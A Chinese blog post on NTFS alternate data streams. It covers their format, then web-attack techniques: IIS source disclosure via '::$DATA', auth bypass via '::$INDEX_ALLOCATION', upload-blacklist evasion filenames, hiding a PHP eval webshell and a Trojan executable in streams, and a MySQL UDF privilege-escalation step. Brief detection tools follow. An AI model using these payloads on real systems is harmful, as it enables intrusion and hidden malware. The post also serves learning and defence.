NTFS ADS的前世今生

是什么

NTFS交换数据流(alternate data streams简称ADS)是NTFS磁盘格式的一个特性。

  1. 一个完整的流的格式为:<filename>:<stream name>:<stream type>
  2. 主流即我们平时可以看见的可以存储数据的文件。而非主文件流寄宿于主文件流中,无法直接读取。
  3. 修改宿主文件的内容或流的内容,不会对彼此造成影响。
  4. 流类型总是以$符号作为开始,NTFS文件系统中的文件至少包含一个主流,也就是data流($DATA),默认流名为空。
  5. ADS可以省略流名,但不能省略流类型。
  6. NTFS文件系统中的文件夹没有data流,但可以指派data流,文件夹的主流为directory流($INDEX_ALLOCATION),流名默认为$I30

怎么用

CVE-1999-0278

访问http://host/global.asa::$DATA,影响IIS3/4版本

IIS在处理文件请求时会先判断文件扩展名是否在可执行文件扩展名列表中,如果存在,则执行并返回结果,如果不存在,则直接返回文件内容。
NTFS文件系统支持在文件中包含额外的数据流$DATA是在NTFS文件系统中存储数据流的属性
当我们对一个在NTFS分区中的ASP文件发出包含$DATA请求,IIS会检查最后一个“.”后面的扩展名,因为多了::$DATA,结果IIS不认为这是一个ASP文件,而文件系统可以识别该请求,于是返回ASP的源代码。

IIS目录访问权限绕过

IIS6.0+PHPIIS7+aspIIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设网站根目录存在index.php文件,可通过构造如下方式来绕过认证直接访问目录下的文件。

/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp

上传绕过黑名单

在测试中我们发现如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。
假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:

上传的文件名 服务器表面现象 生成的文件内容
Test.php:a.jpg 生成Test.php
Test.php::$DATA 生成test.php <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION 生成test.php文件夹
Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?>
Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>

注意
对于windows环境的服务器,上传test.php:.jpg类型的文件,当文件传到服务端时,windows会将该文件识别成ADS,从而认为其宿主文件名为1.asp而将.jpg识别为流名。
通过notepad test.php:.jpg可以查看内容,所以test.php内容为空是正常的。
然后修改上传的文件名为test.>>>或者test.<test.<<<test.>><再上传,会重写test.php。原因是在PHP+IIS的环境下," 同义. >同义? <同义*

隐藏webshell

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,命令如下:echo ^<?php @eval(request[cmd])?^ >> index.php:hidden.jpg
这样生成了一个不可见的shell hidden.jpgtype dir del命令都不行。

利用文件包含<?php include('shell.php:hidden.jpg')?>就是一句话。

mysql中的udf提权

如果数据库用户对数据库mysql(注意指的是数据库里的默认库mysql)具有insert和delete权限,就可以创建加载自定义函数。
而又因为mysql服务是以system权限运行在windows主机上,所以这个时候我们就可以通过自定义函数以system权限执行命令了。

Mysql 5.0.67之前,DLL的导入目录是C:\windows\system32
从MySQL 5.1开始,要求目录必须是mysql目录下的lib\plugin\目录,而且mysql 5.1之后的常用安装版本是默认不存在lib\plugin目录的。

执行sql语句show variables like '%plugin%';查看目录位置。
利用ADS依次创建lib、plugin目录
select 'xxx' into outfile 'E:\\phpstudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
如果创建失败的话,执行show variables like '%secure%';看看secure_file_priv的值:

  • null表示限制mysqld不允许导入导出
  • secure_file_priv的值为/tmp/,表示限制mysqld 的导入导出只能在/tmp/目录下
  • secure_file_priv的值为空,表示不对mysqld的导入导出做限制

隐藏exe文件

type muma.txt test.txt:muma.exe
在xp中可以用start test.txt:muma.exe执行,但是win7以上这样执行会报错。
win7及之后的系统的正确姿势如下:
创建一个符号链接文件test.exe,链接到寄生的交换数据流可执行文件test.txt:muma.exe上:mklink test.exe test.txt:muma.exe,然后执行start test.exe /b即可
更新一个方法:
wmic process call create "C:\ProjectCode\test\test:putty.exe"

在WinXP中,可执行文件可以和文本文件一样实现真正的隐藏,这可能也是当时大多数杀毒软件添加数据流病毒查杀功能的原因;在Win7之后的系统中,微软可能出于安全考虑,不允许直接运行交换数据流可执行文件,必须要创建符号链接,这个符号链接是可见的(当然可以使用其他手段隐藏这个符号链接),并且这个符号链接创建出来后不能复制到其他地方,只能在创建的那个位置使用命令行方式调用(鼠标双击会报错)。

怎么查

使用这两款小工具配合进行检测和清除寄生的交换数据流
https://pan.baidu.com/share/link?shareid=134850&uk=1108295926
labs.exe检测,streams.exe进行清理。
还有一个叫做AlternateStreamView的工具也可以

参考
http://www.nsfocus.net/index.php?act=sec_bug&do=view&bug_id=3442
https://www.qingsword.com/qing/812.html
https://www.i0day.com/733.html
《NTFS ADS带来的WEB安全问题》,作者Pysolve
https://klionsec.github.io/2017/11/13/ntfs-streams/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,569评论 4 363
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,499评论 1 294
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 109,271评论 0 244
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,087评论 0 209
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,474评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,670评论 1 222
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,911评论 2 313
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,636评论 0 202
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,397评论 1 246
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,607评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,093评论 1 261
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,418评论 2 254
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,074评论 3 237
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,092评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,865评论 0 196
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,726评论 2 276
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,627评论 2 270

推荐阅读更多精彩内容

  • NTFS设计目标和特性 1. NTFS设计目标 NTFS设计目标就包含作为一个企业级文件系统所需要的各种特性: 1...
    江南野栀子阅读 1,545评论 0 0
  • 1、第八章 Samba服务器2、第八章 NFS服务器3、第十章 Linux下DNS服务器配站点,域名解析概念命令:...
    哈熝少主阅读 3,636评论 0 10
  • 引言 这篇文章介绍Windows下NTFS文件系统的ADS(alternate data streams,交换数据...
    查无此人asdasd阅读 3,098评论 0 0
  • 01 2019年的第一个月依然冷得要命。 以前每天醒来后,我都要在床上坐好久,发傻想要不要裹着被子去吃饭。 现在在...
    桃豆啊阅读 617评论 3 9
  • 那天去听了水心老伙计讲故事。 老伙计又说话了:你知道为何戊戌变法失败吗? 因为康有为说的话,别人听不懂啊。那天,光...
    一元真人阅读 587评论 6 16